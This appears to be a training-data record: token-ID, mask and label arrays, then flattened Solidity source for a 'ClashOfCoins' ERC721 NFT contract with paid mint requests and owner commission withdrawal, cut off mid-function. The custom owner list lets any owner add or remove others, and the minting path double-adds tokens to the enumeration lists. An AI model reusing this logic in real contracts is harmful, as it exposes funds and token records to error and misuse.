9,813,940
[ 1, 1356, 326, 2078, 16513, 4078, 86, 5957, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 10143, 5269, 29281, 8973, 86, 5957, 12, 203, 565, 10464, 16520, 1670, 2502, 927, 203, 225, 262, 2713, 1476, 1135, 261, 11890, 5034, 13, 288, 203, 565, 327, 927, 18, 4963, 29281, 8973, 86, 5957, 861, 12, 2629, 18, 5508, 1769, 203, 225, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } contract Ownable { /** * @dev map for list of owners */ address creator; mapping(address => uint256) public ownerList; address public owner; uint256 index = 0; /** * @dev constructor, where first user is an administrator */ constructor() { ownerList[msg.sender] = ++index; creator = msg.sender; owner = msg.sender; } /** * @dev modifier which check the status of user and continue only if msg.sender is administrator */ modifier onlyOwner() { require(ownerList[msg.sender] > 0, "onlyOwner exception"); _; } /** * @dev adding new owner to list of owners * @param newOwner address of new administrator * @return true when operation is successful */ function addNewOwner(address newOwner) public onlyOwner returns(bool) { ownerList[newOwner] = ++index; return true; } /** * @dev remove owner from list of owners * @param removedOwner address of removed administrator * @return true when operation is successful */ function removeOwner(address removedOwner) public onlyOwner returns(bool) { require(msg.sender != removedOwner, "Denied deleting of yourself"); ownerList[removedOwner] = 0; return true; } } /** * @dev String operations. */ library Strings { bytes16 private constant alphabet = "0123456789abcdef"; /** * @dev Converts a `uint256` to its ASCII `string` decimal representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); while (value != 0) { digits -= 1; buffer[digits] = bytes1(uint8(48 + uint256(value % 10))); value /= 10; } return string(buffer); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation. */ function toHexString(uint256 value) internal pure returns (string memory) { if (value == 0) { return "0x00"; } uint256 temp = value; uint256 length = 0; while (temp != 0) { length++; temp >>= 8; } return toHexString(value, length); } /** * @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length. */ function toHexString(uint256 value, uint256 length) internal pure returns (string memory) { bytes memory buffer = new bytes(2 * length + 2); buffer[0] = "0"; buffer[1] = "x"; for (uint256 i = 2 * length + 1; i > 1; --i) { buffer[i] = alphabet[value & 0xf]; value >>= 4; } require(value == 0, "Strings: hex length insufficient"); return string(buffer); } } /** * @title Counters * @author Matt Condon (@shrugs) * @dev Provides counters that can only be incremented or decremented by one. This can be used e.g. to track the number * of elements in a mapping, issuing ERC721 ids, or counting request ids. * * Include with `using Counters for Counters.Counter;` */ library Counters { struct Counter { // This variable should never be directly accessed by users of the library: interactions must be restricted to // the library's function. As of Solidity v0.5.2, this cannot be enforced, though there is a proposal to add // this feature: see https://github.com/ethereum/solidity/issues/4637 uint256 _value; // default: 0 } function current(Counter storage counter) internal view returns (uint256) { return counter._value; } function increment(Counter storage counter) internal { unchecked { counter._value += 1; } } function decrement(Counter storage counter) internal { uint256 value = counter._value; require(value > 0, "Counter: decrement overflow"); unchecked { counter._value = value - 1; } } } /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract NFTToken is Context, ERC165, IERC721, IERC721Metadata, Ownable { using Address for address; using Strings for uint256; using Counters for Counters.Counter; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping (uint256 => address) private _owners; // Mapping from token ID to meta hash mapping (uint256 => bytes) public metaHash; // Mapping owner address to token count mapping (address => uint256) private _balances; // Mapping from token ID to approved address mapping (uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping (address => mapping (address => bool)) private _operatorApprovals; event MintRequest( address from, uint256 tokenId ); /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor (string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); return _baseURI(tokenId); } /** * @dev Base URI for computing {tokenURI}. Empty by default, can be overriden * in child contracts. */ function _baseURI(uint256 tokenId) internal view virtual returns (string memory) { return string(abi.encodePacked(metaHash[tokenId])); } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = NFTToken.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = NFTToken.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = NFTToken.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(NFTToken.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(NFTToken.ownerOf(tokenId), to, tokenId); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver(to).onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { // solhint-disable-next-line no-inline-assembly assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } } /** * @dev This implements an optional extension of {ERC721} defined in the EIP that adds * enumerability of all the token ids in the contract as well as all token ids owned by each * account. */ abstract contract ERC721Enumerable is NFTToken, IERC721Enumerable { // Mapping from owner to list of owned token IDs mapping(address => mapping(uint256 => uint256)) private _ownedTokens; // Mapping from token ID to index of the owner tokens list mapping(uint256 => uint256) private _ownedTokensIndex; // Array with all token ids, used for enumeration uint256[] private _allTokens; // Mapping from token id to position in the allTokens array mapping(uint256 => uint256) private _allTokensIndex; /** * @dev See {IERC721Enumerable-tokenOfOwnerByIndex}. */ function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) { require(index < NFTToken.balanceOf(owner), "ERC721Enumerable: owner index out of bounds"); return _ownedTokens[owner][index]; } /** * @dev See {IERC721Enumerable-totalSupply}. */ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } function internalMint( address to, uint256 tokenId ) internal { _addTokenToAllTokensEnumeration(tokenId); _addTokenToOwnerEnumeration(to, tokenId); _mint(to, tokenId); } function internalBurn( address from, uint256 tokenId ) internal { _removeTokenFromOwnerEnumeration(from, tokenId); _removeTokenFromAllTokensEnumeration(tokenId); _burn(tokenId); } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = NFTToken.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = NFTToken.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } contract CoCNFT is ERC721Enumerable { uint256 public commissions = 0; mapping(uint256 => bool) public tokenExists; constructor() NFTToken("ClashOfCoins", "CLASH"){ } function receiveCommission() public onlyOwner { require(commissions > 0, "There are no commission"); uint256 value = commissions; commissions = 0; payable(msg.sender).transfer(value); } /** * @dev See {IERC721-safeMint}. */ function mintRequest(uint256 tokenId) public payable { require(tokenExists[tokenId] == false, "Token already exists"); require(msg.value >= 5 * 1e15, "value can't be less then 5 finney"); commissions += msg.value; emit MintRequest(msg.sender, tokenId); } /** * @dev See {IERC721-safeMint}. */ function safeMint(address to, bytes memory hash, uint256 